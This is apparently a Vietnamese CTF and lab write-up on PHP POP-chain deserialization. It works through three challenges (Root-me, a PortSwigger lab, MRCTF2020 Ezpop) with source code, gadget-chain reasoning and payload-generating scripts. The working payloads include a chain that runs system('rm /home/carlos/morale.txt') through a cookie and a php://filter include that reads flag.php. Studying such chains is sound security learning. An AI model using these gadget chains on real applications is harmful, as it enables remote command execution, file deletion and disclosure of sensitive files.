# Một vài bài POP chain trong PHP ## Mở đầu Chắc bởi vì mình thấy dạng này khác hay nên mình đã kiếm một số bài về nó để làm. Có bài mình tự làm cũng có bài xem qua writeup nên đôi khi lời mình khá lũng củng và khó hiểu. Một số bài mình dựng lại trên local nên flag chỉ mang tính tượng trưng thôi ^^. Về **POP chain** trong PHP thì mình đã nói sơ qua ở <a href="https://hackmd.io/@chuong/HJCXnpo4h#POP-chain">đây</a>. Oke bắt đầu thôi :v . ## Một số bài ### 1. Rootme: PHP - Unserialize Pop Chain. Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/PHP-Unserialize-Pop-Chain">đây</a>. Bài cho soure code và đây là thứ cần quan tâm: ``` <?php $getflag = false; class GetMessage { function __construct($receive) { if ($receive === "HelloBooooooy") { die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>"); } else { $this->receive = $receive; } } function __toString() { return $this->receive; } function __destruct() { global $getflag; if ($this->receive !== "HelloBooooooy") { die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>"); } else { if ($getflag) { include("flag.php"); echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>"; } } } } class WakyWaky { function __wakeup() { echo "[YOU]: ".$this->msg."<br>"; } function __toString() { global $getflag; $getflag = true; return (new GetMessage($this->msg))->receive; } } if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } if (isset($_POST["data"]) && !empty($_POST["data"])) { unserialize($_POST["data"]); } ?> ``` #### Phân tích: - Bài nhận vào tham số `data` qua method **POST** và thực hiện **unserialize** nó. - Có **2 class**: `GetMessage` và `WakyWaky`. - `flag` sẽ được lấy trong **magic method** `__destruct()` của class `GetMessage`: ``` if($getflag){ include("flag.php"); echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>"; } ``` Vậy điều kiện lấy `flag` là: - `__destruct()` được thực thi: đây là **magic method** trong **PHP** sẽ được thực thi khi đối tượng được hủy hoặc chương trình kết thúc (không được thực thi khi chương trình kết thúc bởi hàm `die()`. - Giá trị `receive` của đối tượng tại bởi class `GetMessage` là `HelloBooooooy`. - `$getflag` có giá trị **true**. #### Thực hành: Đầu tiên để `__destruct()` thực thi là tránh xuất hiện hàm `die()` Ta thấy trong class `GetMessage` có: ``` function __construct($receive) { if ($receive === "HelloBooooooy") { die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>"); } else { $this->receive = $receive; } } ``` Đây là 1 **magic method thực** thi khi được khởi tạo đối tượng. Tuy nhiên nếu khởi tạo luôn là `$receive` có giá trị là `HelloBooooooy` sẽ bị false vì nó thực thi `die()` nên nó cần gán sau khi khởi tạo và method `__toString()` trong class `WakyWaky` phải được thực thi vì nó làm được điều này: ``` return (new GetMessage($this->msg))->receive; ``` Tiếp tục để biến `$getflag` có giá trị **true** ta thấy trong class `WakyWaky`: ``` function __toString() { global $getflag; $getflag = true; return (new GetMessage($this->msg))->receive; } ``` `__toString()` là 1 **magic method** được thực thi khi 1 đối tượng tạo bởi class đó **được dùng như string**. Ví dụ như: `echo`, `print`, `preg_match()`,... Nhận thấy trong cùng class này có : ``` function __wakeup() { echo "[YOU]: ".$this->msg."<br>"; } ``` Khi `$this->msg` là 1 đối tượng của class `WakyWaky` thì đối tượng đó sẽ thực thi `__toString()`. Vậy để `__wakeup()` thực thi là được, đây cũng là 1 **magic methed** thực thi khi đối tượng được unserialize => Đối tượng cần truyền vào hàm `unserialize()` tạo bởi class `WakyWaky`. Tóm lại script: ``` <?php $getflag = false; class GetMessage { public $receive; } class WakyWaky { public $msg; function __construct($msg) { $this->msg = $msg; } } $a = new GetMessage(''); $a->receive = 'HelloBooooooy'; $b1 = new WakyWaky($a); $b2 = new WakyWaky($b1); echo serialize($b2); ``` Được **payload**: ``` O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}} ``` **Két quả:** ![](https://hackmd.io/_uploads/SkuVpJZ8n.png) > **flag**: `uns3r14liz3_p0p_ch41n_r0cks` ### 2. PortSwigger: Developing a custom gadget chain for PHP deserialization Link bài <a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization">lab</a>. ![](https://hackmd.io/_uploads/HkWW4qDIn.png) Các dạng bài này thường sẽ cho **source** hoặc bị leak ra như bài này: ![](https://hackmd.io/_uploads/ryBt4qPLn.png) Thêm `~` phía sau và truy cập vào để xem source `/cgi-bin/libs/CustomTemplate.php~`: ``` <?php class CustomTemplate { private $default_desc_type; private $desc; public $product; public function __construct($desc_type='HTML_DESC') { $this->desc = new Description(); $this->default_desc_type = $desc_type; // Carlos thought this is cool, having a function called in two places... What a genius $this->build_product(); } public function __sleep() { return ["default_desc_type", "desc"]; } public function __wakeup() { $this->build_product(); } private function build_product() { $this->product = new Product($this->default_desc_type, $this->desc); } } class Product { public $desc; public function __construct($default_desc_type, $desc) { $this->desc = $desc->$default_desc_type; } } class Description { public $HTML_DESC; public $TEXT_DESC; public function __construct() { // @Carlos, what were you thinking with these descriptions? Please refactor! $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>'; $this->TEXT_DESC = 'This product is cool in text'; } } class DefaultMap { private $callback; public function __construct($callback) { $this->callback = $callback; } public function __get($name) { return call_user_func($this->callback, $name); } } ?> ``` Tổng quan: đề yêu cầu xóa file `morale.txt` trong thư mục home của Carlos nghĩa là phải thực thi được câu lệnh: `rm /home/carlos/morale.txt`. Có 4 class trong source. Bây giờ login `wiener:peter` và kiểm tra giá trị cookie và decode nó: ![](https://hackmd.io/_uploads/Bk38vqvI2.png) Giá trị nhận được là `O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ic9rwytnufldpgjrox3xmrrhdyuzmguo";}` đây là dạng serialized data, thứ mà ta cần biến đổi nó. Bắt đầu phân tích và khai thác: Để ý thấy trong class `DefaultMap` có method `__get()` thực thi hàm `call_user_func` đây là hàm đặc biệt vì nó có thể thực thi 1 hàm theo ý muốn khi truyền vào. Ở đây thứ ta muốn là thực thi `system('rm /home/carlos/morale.txt')` thì ta cần thực thi `call_user_func(system,'rm /home/carlos/morale.txt')` (ngoài `system` còn có các hàm khác như `exec`, `passthru`,...). Vậy để nó thực thi như vậy thì ta cần: - `$this->callback` có giá trị là `system`, cái này ta có thể làm được khi khởi tạo đối tượng. Ví dụ: `$defaultmap = new DefaultMap('system');` - Magic method `__get()` được thực thi khi truy cập thuộc tính không được public hoặc không tồn tại của đối tượng khi đó thuộc tính đó được truyền vào `__get()`. Ở class `CustomTemplate` có 2 thuộc tính **private** khả nghi. Quan sát thấy class `Product` có : `$this->desc = $desc->$default_desc_type;`. Nếu` $desc` là đối tượng class `DefaultMap` (`$defaultmap`) và `$default_desc_type` có giá trị là `rm /home/carlos/morale.txt` thì `__get()` như đã nói trên sẽ thực thi. (2 thuộc tính này là của class `CustomTemplate` nên có thể kiểm soát được ) Để `__construct()` của class `Product` thực thi thì phải khởi tạo đối tượng của class `Product` và điều đó xảy ra nếu hàm `build_product()`. Và hàm này được gọi trong `__wakeup` của class `CustomTemplate`. Magic method này được thực thi khi deserialize đối tượng. Vậy bây giờ ta tạo một serialized data của đối tượng class `CustomTemplate` bằng script sau: ``` <?php class CustomTemplate { public $default_desc_type; public $desc; public function __construct($default_desc_type, $desc) { $this->default_desc_type = $default_desc_type; $this->desc = $desc; } } class DefaultMap { public $callback; public function __construct($callback) { $this->callback = $callback; } } $defaultmap = new DefaultMap('system'); $custom = new CustomTemplate('rm /home/carlos/morale.txt', $defaultmap); echo serialize($custom); ``` Output: `O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}` Bây giờ encode base64 và mã hóa URL được:`TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjI2OiJybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo0OiJkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjg6ImNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fX0%3D` Đưa nó vào cookie và kết quả: ![](https://hackmd.io/_uploads/S1pDjFt83.png) ### 3. Ezpop - MRCTF2020 Bài này mình dựng lại ở local để làm. Source: ``` <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value) { include $value; } public function __invoke() { $this->append($this->var); } } class Show { public $source; public $str; public function __construct($file = 'index.php') { $this->source = $file; echo 'Welcome to ' . $this->source . "<br>"; } public function __toString() { return $this->str->source; } public function __wakeup() { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); } } if (isset($_GET['pop'])) { @unserialize($_GET['pop']); } else { $a = new Show; highlight_file(__FILE__); } ``` Tổng quan: bài nhận vào tham số `pop` từ URL và **unserialize** nó. Có 3 class là `Modifier`, `Show`, `Test`. Flag nằm trong file `flag.php`. Vậy trong 3 class thì chỗ nào có thể đọc được file flag? Đó là hàm `include` trong class `Modifier` Nó có thể đọc file khi dùng wrapper: `php://filter/convert.base64-encode/resource=flag.php` và hiển thị dạng base64. ``` $modifier = new Modifier('php://filter/convert.base64-encode/resource=flag.php'); ``` Vậy chỉ cần `append()` thực thi và nó nằm trong magic method `__invoke()` > Magic method `__invoke()` sẽ thực thi khi một đối tượng được dùng như gọi hàm. Ví dụ `$obj();` > Nhìn tiếp trong class `Test` có dòng code `return $function();` trong method `__get()` và giá trị `$function` (cụ thể là thuộc tính `p` của class đó) là đối tượng của class `Modifier` thì `__invoke()` được thực thi. ``` $test = new Test($modifier); ``` Vậy chỉ cần thực thi được `__get()` > Magic method `__get()` thực thi khi đối tượng gọi đến thuộc tính không phải public hoặc không tồn tại. Vậy để ý tiếp trong class `Show` có: ``` public function __toString() { return $this->str->source; } ``` Khi `$this->str` là đối tượng của class `Test` (`$test`) thì nó sẽ thực thi `__get()` vì đối tượng này không có thuộc tính `source`. Bây giờ chỉ cần tạo giá trị `str` là `$test` và `__toString()` được thực thi. > Magic method `__toString()` thực thi khi đối tượng được dùng như string. Ví dụ: `echo $obj;`,... Và ở đây hàm `preg_match()` cũng có thể làm được điều đó vì tham số truyền vào (`source`) là string. Vậy `$this->source` là đối tượng của chính class đó là sẽ thực thi được `toString()` Cuối cùng là việc thực thi `__wakeup()`. > Magic method `__wakeup()` thực thi khi deserialize đối tượng. Ta có script: ``` <?php class Modifier { public $var; public function __construct($var) { $this->var = $var; } } class Show { public $source; public $str; public function __construct($source, $str) { $this->source = $source; $this->str = $str; } } class Test { public $p; public function __construct($p) { $this->p = $p; } } $modifier = new Modifier('php://filter/convert.base64-encode/resource=flag.php'); $test = new Test($modifier); $show = new Show('abc', $test); $show2 = new Show($show, 'abc') echo urlencode(serialize($show2)); ``` Lấy giá trị đó đưa vào `pop` là oke, 1 đoạn base64 hiện ra vào decode chúng là file flag.